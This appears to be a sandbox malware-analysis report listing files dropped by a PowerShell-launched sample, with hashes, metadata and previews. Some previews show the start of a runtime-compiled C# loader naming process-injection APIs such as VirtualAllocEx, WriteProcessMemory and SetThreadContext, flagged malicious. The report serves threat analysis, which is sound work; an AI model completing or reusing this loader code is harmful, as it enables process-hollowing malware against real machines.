Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...5.s.w.i.5.u.3.s...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...5.s.w.i.5.u.3.s...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\RES67D8.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x496, 9 symbols, created Thu Jan 2 19:39:25 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	3.9653314637344628
Encrypted:	false
SSDEEP:	24:HFK9oPaVmYT7caHawKcjmfwI+ycuZhNQakSMPNnqSed:xiVmY/ZRK2mo1ulQa3cqS+
MD5:	40C237E20F02A6317A213AB863907C3C
SHA1:	E76BAC28A2F0AEB66F1FD471F03C4A6C1467A728
SHA-256:	F2DB00E1E17C14139461FC7BB8F9BD0A25E71F091AA0D96FD556B577A8C83C80
SHA-512:	DBD31490D7F2D4A21F0E66D6A7E0A587563170BA0C512557C0B2471AF8FE32E345B0015B8088251FB6CEF622245041112C9ECEE32026969FAF1706666C756F5A
Malicious:	false
Preview:	L...m.vg.............debug$S........X...................@..B.rsrc$01........X.......<...........@..@.rsrc$02........P...F...............@..@........U....c:\Users\user\AppData\Local\Temp\10esxhtc\CSC630D1DBBBF4439F8DFE57AEDCAADEA.TMP..................e.d..E(..hY.z...........7.......C:\Users\user\AppData\Local\Temp\RES67D8.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...1.0.e.s.x.h.t.c...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....

C:\Users\user\AppData\Local\Temp\RES67D9.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x496, 9 symbols, created Thu Jan 2 19:39:25 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	3.978959600937848
Encrypted:	false
SSDEEP:	24:HFK9oVaajGWaHVwKcjmfwI+ycuZhNscWrakSHcWEPNnqSed:xIaOWK2mo1ulsnra3HnEqS+
MD5:	A0F5DF604960A1CC11BA60265BFDCA3F
SHA1:	BE4DB24AFDE2F95AC732B86012056D6173623481
SHA-256:	52E7ECE0E44E104E6C68FF503B591040B8F54D9BC1741B517C40084A400428E1
SHA-512:	DC117A6F12FC0BF0013A6C61BB60C5D00FAD2CC35A30C9CA224F8C08954BB5147C06EB3FB7C61DA65605AA2D7FB5880CC1E9508B6C1A0AE6EA4ED2F40D4B66D9
Malicious:	false
Preview:	L...m.vg.............debug$S........X...................@..B.rsrc$01........X.......<...........@..@.rsrc$02........P...F...............@..@........W....c:\Users\user\AppData\Local\Temp\5swi5u3s\CSCAF633C7494E44EEF91E489AA57193A1E.TMP................w.u...e.-vWO...J..........7.......C:\Users\user\AppData\Local\Temp\RES67D9.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...5.s.w.i.5.u.3.s...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....

C:\Users\user\AppData\Local\Temp\RES67DA.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x496, 9 symbols, created Thu Jan 2 19:39:25 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	3.9928761861735085
Encrypted:	false
SSDEEP:	24:HFK9oVaAOCaHtwKcjmfwI+ycuZhNKFakS9qPNnqSed:xIAOXuK2mo1ulKFa39GqS+
MD5:	B4CBBBE349D1E684A138BD796BE5A7AF
SHA1:	5125978EA1B22761BB0CE3C17C6DA994AA6FA92E
SHA-256:	1698160D583F743FB2E8B030CCDC57D072FD98DFFC907650BDBEA64C118CA56A
SHA-512:	95F385FD2FA42236655FC8544DBADECE31C6A174868CF6BD3F48D521772CE075178FC98020F50D48D8072B02357414317A091C31012D6DA5882534405F799171
Malicious:	false
Preview:	L...m.vg.............debug$S........X...................@..B.rsrc$01........X.......<...........@..@.rsrc$02........P...F...............@..@........W....c:\Users\user\AppData\Local\Temp\wt2ogsc5\CSCB74DB134981A43F6AC9523DAB4F3A2ED.TMP......................RG...s..............7.......C:\Users\user\AppData\Local\Temp\RES67DA.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...w.t.2.o.g.s.c.5...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....

C:\Users\user\AppData\Local\Temp\RES6AB6.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x496, 9 symbols, created Thu Jan 2 19:39:26 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	3.976339008528924
Encrypted:	false
SSDEEP:	24:H4K9ocavlqaH4hwKcjmfwI+ycuZhNZakSnPNnqSed:SZvBnK2mo1ulZa31qS+
MD5:	93483BE8DB18967F04A2A0ECEEB6FB67
SHA1:	E61D864D21671E37C838DE5A77BEED6713401C7E
SHA-256:	F2567EEB84B49F5320E0516D3E1FCF6AB8738A25D2555BBB2068311816B36409
SHA-512:	60032C2D8CCDEE08DB7ECD0F6C2B1E12FC66919F3FCE68BAEFFDA421128BEC89AA9CAD0DD4763CDDA7820CD62256265C7C3E1AA0A7CD134E5A331FC7EB38EB05
Malicious:	false
Preview:	L...n.vg.............debug$S........X...................@..B.rsrc$01........X.......<...........@..@.rsrc$02........P...F...............@..@........V....c:\Users\user\AppData\Local\Temp\snrj5tfq\CSC3E3C918B4DA048DEA31452744D593FA.TMP.................z..P.....ZE.\,...........7.......C:\Users\user\AppData\Local\Temp\RES6AB6.tmp.-.<....................a..Microsoft (R) CVTRES._.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...s.n.r.j.5.t.f.q...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0v4fwcbh.ghe.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1eiic0y4.pce.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_30ni4rri.0u1.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5nystepo.xcp.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5s02fi4b.fgx.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_doydwkjr.icc.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ivpmkgpf.j0z.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y5c5qn5u.zzb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\snrj5tfq\CSC3E3C918B4DA048DEA31452744D593FA.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.099317468133141
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry7ak7YnqqnPN5Dlq5J:+RI+ycuZhNZakSnPNnqX
MD5:	7A89BC501D8900BDC85A45D2A35C2C03
SHA1:	17DDD69ED382730B9F79B663CEDA91D32B8D9E11
SHA-256:	2D370A8866BEA483E5150D19E8F73ABD44E8D9FE1E1445606CF4520A88D96F9B
SHA-512:	31A5CDD50EBDFAD9B324DB4597CC25831E3621F5EE1F8214153B8F3709D31301E4C18C24C664521D9359027CAC0512027E452A6D997B53DE8D472373E580EC84
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...s.n.r.j.5.t.f.q...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...s.n.r.j.5.t.f.q...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	4.54611001642782
Encrypted:	false
SSDEEP:	192:2QC2o4mAQgOLocU9wMk2kAt/Z7pu/cuvnzHzrEo6uT:2oYLoH97t/Z7pgjvzf5DT
MD5:	3FA79DECFF8805745CEA8116D9BB2643
SHA1:	92343C5FA2C768B964AE3A4E9136E5D7193E8558
SHA-256:	E6852A401B53A7AF04D57AA1E4FC9621E3DFFC1221534142316A27AE67E8F89C
SHA-512:	5C2879E59FA6609E6E87F70C5237B250A906BF7DD13A343DAC9E81635B1FC91AD9374E643A306B99503C52CE9BD56554A64AA132584C732D43EE39FB17305D78
Malicious:	true
Preview:	.using System;..using System.Diagnostics;..using System.IO;..using System.Net;..using System.Runtime.InteropServices;..using System.Threading.Tasks;....public class ClasserPlus..{.. public static Int16 ConvertToInt16(byte[] value, int startIndex).. {.. return BitConverter.ToInt16(value, startIndex);.. }.... public static Int32 ConvertToInt32(byte[] value, int startIndex).. {.. return BitConverter.ToInt32(value, startIndex);.. }.... public static byte[] ConvertToBytes(int value).. {.. return BitConverter.GetBytes(value);.. }.... public static string[] GetApiNames().. {.. return new string[].. {.. "kernel32",.. "ntdll",.. "ResumeThread",.. "Wow64SetThreadContext",.. "SetThreadContext",.. "Wow64GetThreadContext",.. "GetThreadContext",.. "VirtualAllocEx",.. "WriteProcessMemory",.. "ReadProcessMemory",..

C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.023119216699786
Encrypted:	false
SSDEEP:	3:0HXEXA8F+H2R5BJiWR5mKWLRRN+E2J5xAIf3DaiQCIFRVRMxTPIN+E2J5xAIf3hx:pAu+H2L/6K2N723f/GzxszIN723f/hx
MD5:	103CE4B7908EEFE561718D2E7233D9DB
SHA1:	137905CA9938786F92F2D7F402BC61621F6DEDAB
SHA-256:	61753EF2002F7846BDD5A36B6BA276F16FDDA51233ACAF68C51D4E54C00F0C64
SHA-512:	A2BE7541977AE78D4855E645DA2B4E789DB1BE3EC0832B004A2FE090EE9C6B23E063DFB6C4652CF30A850C0EB9973AD83AE912D66FF7440D7E085F2A8E6F14BE
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.0.cs"

C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	4.630203996757346
Encrypted:	false
SSDEEP:	192:3RH6HN4QhfNQ8q8888yYAdORjOa9UxRa95MqBYteN455:2NxNO9Oy+a95Mq1S55
MD5:	13EDC86FC4CDEB8509B9AE75A6FE4D19
SHA1:	9076C479918BDFF1B53864DF88D6F6A19DA55516
SHA-256:	1A7169499B8D11A287F5E4A50F37A79E51F76A32F501D92A06766F3541B0F15A
SHA-512:	3252788E10D83548B485E518FCDEEF53861611609E5DC028DC07CB051923BC35D99A0AE71BA2F30CF802258F781388A32FEA1A80D9099AA5CBCB33586B8DF2A6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n.vg...........!.................<... ...@....... ....................................@..................................<..K....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B.................<......H........%.............................................................."..(...."..(......(.......0..m.................r...p...r...p...r...p...r9..p...re..p...r...p...r...p...r...p...r...p....r...p....r=..p....rg..p.....(......(.........(....(.........*....0..:........e...+X......YE................................................+....+....,..?.+...+...+......X...2...8..............................(....(....}....~....r...pr...p~....~..... ....~.........o3.......-.s....z..<

C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	711
Entropy (8bit):	5.2210278192100645
Encrypted:	false
SSDEEP:	12:KO2z/qR37L/6K2aXGtaXaKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:KOuqdn6K2aeaqKax5DqBVKVrdFAMBJTH
MD5:	4BA0C8286F78D4AF59700E616A92E925
SHA1:	91F71CAD6CDF4CD88747BD81437CF8B97A1BCC4B
SHA-256:	327D4662FF32A0D83860477BBE199F5284B68656EE83E3C2A722E276D5C9BBEF
SHA-512:	3BE3A4DA138B6033661E4FC0DEC10687D100881A4A05E883EF8EF3F1694DC8C330EC0BBF55DBA79B62AFB052F26BE688F5250E7673446CEFB74838506A39CB6C
Malicious:	false
Preview:	.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\wt2ogsc5\CSCB74DB134981A43F6AC9523DAB4F3A2ED.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1047092063735713
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry8WYak7Ynqq9WNPN5Dlq5J:+RI+ycuZhNKFakS9qPNnqX
MD5:	B0F6D8C5DED75247A2990E730F8EAB1A
SHA1:	5483FA950DF7E59FB4681E5626287712C5C8F79B
SHA-256:	BF162B7B7A84864E93E3A62B7A5182D54994214CA7349D3DB2F1EB6CC6712D1D
SHA-512:	4A32C0DCC5DC3CDF099D57B4207BF186B31392049CD11FF5BC77EC12B36EFED4D440D0FAA04F43E06F190E69CA40E26DBAEA81FA90B3DC7754CEAB258E76C320
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...w.t.2.o.g.s.c.5...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...w.t.2.o.g.s.c.5...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	4.54611001642782
Encrypted:	false
SSDEEP:	192:2QC2o4mAQgOLocU9wMk2kAt/Z7pu/cuvnzHzrEo6uT:2oYLoH97t/Z7pgjvzf5DT
MD5:	3FA79DECFF8805745CEA8116D9BB2643
SHA1:	92343C5FA2C768B964AE3A4E9136E5D7193E8558
SHA-256:	E6852A401B53A7AF04D57AA1E4FC9621E3DFFC1221534142316A27AE67E8F89C
SHA-512:	5C2879E59FA6609E6E87F70C5237B250A906BF7DD13A343DAC9E81635B1FC91AD9374E643A306B99503C52CE9BD56554A64AA132584C732D43EE39FB17305D78
Malicious:	false
Preview:	.using System;..using System.Diagnostics;..using System.IO;..using System.Net;..using System.Runtime.InteropServices;..using System.Threading.Tasks;....public class ClasserPlus..{.. public static Int16 ConvertToInt16(byte[] value, int startIndex).. {.. return BitConverter.ToInt16(value, startIndex);.. }.... public static Int32 ConvertToInt32(byte[] value, int startIndex).. {.. return BitConverter.ToInt32(value, startIndex);.. }.... public static byte[] ConvertToBytes(int value).. {.. return BitConverter.GetBytes(value);.. }.... public static string[] GetApiNames().. {.. return new string[].. {.. "kernel32",.. "ntdll",.. "ResumeThread",.. "Wow64SetThreadContext",.. "SetThreadContext",.. "Wow64GetThreadContext",.. "GetThreadContext",.. "VirtualAllocEx",.. "WriteProcessMemory",.. "ReadProcessMemory",..

C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.cmdline

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.0160201880141555
Encrypted:	false
SSDEEP:	6:pAu+H2L/6K2N723f6MNGzxszIN723f6MNb:p37L/6K2aS4GtaS4b
MD5:	3AD6364C96515725CCCFAEA2A6F22740
SHA1:	B23C8D93551FB9F931BE26319B699EEAF05FC1F4
SHA-256:	9BB8C60250C9F2A177B2CB25285D8B151E98E45462BC4B66F277183F4B65F651
SHA-512:	206010D571F16EC10456EDF50E5886003DEA428202A14795DAF0FDCD82F0D54F170FD3E2F58585B36231D63F388FAA420C2A31917A0D613F29328FD176741B62
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.dll" /debug- /optimize+ "C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.0.cs"

C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	4.629092942268517
Encrypted:	false
SSDEEP:	192:WRH6HN4QhfNQ8q8888yYAdVRjOasUxRa95MqBYF3eN45nc9:BNxNV9OX+a95Mq1S5nc9
MD5:	BD9074F086354C38CE7A86B34F86DE46
SHA1:	DE6F32AF8AAE902CD829680AC86328107C28503D
SHA-256:	5322E8243F6B034803822C4660CE017DCD7463DDA2436F26F4778D83DB326E20
SHA-512:	6157D6A6B45888D4260E02461C8F59E4AC784476052BDC5575C99B781E686BF683A08ECC2CE45EC15D450A174D463FF8B0F74EBCD44D63B860DC97E8EB3457A5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
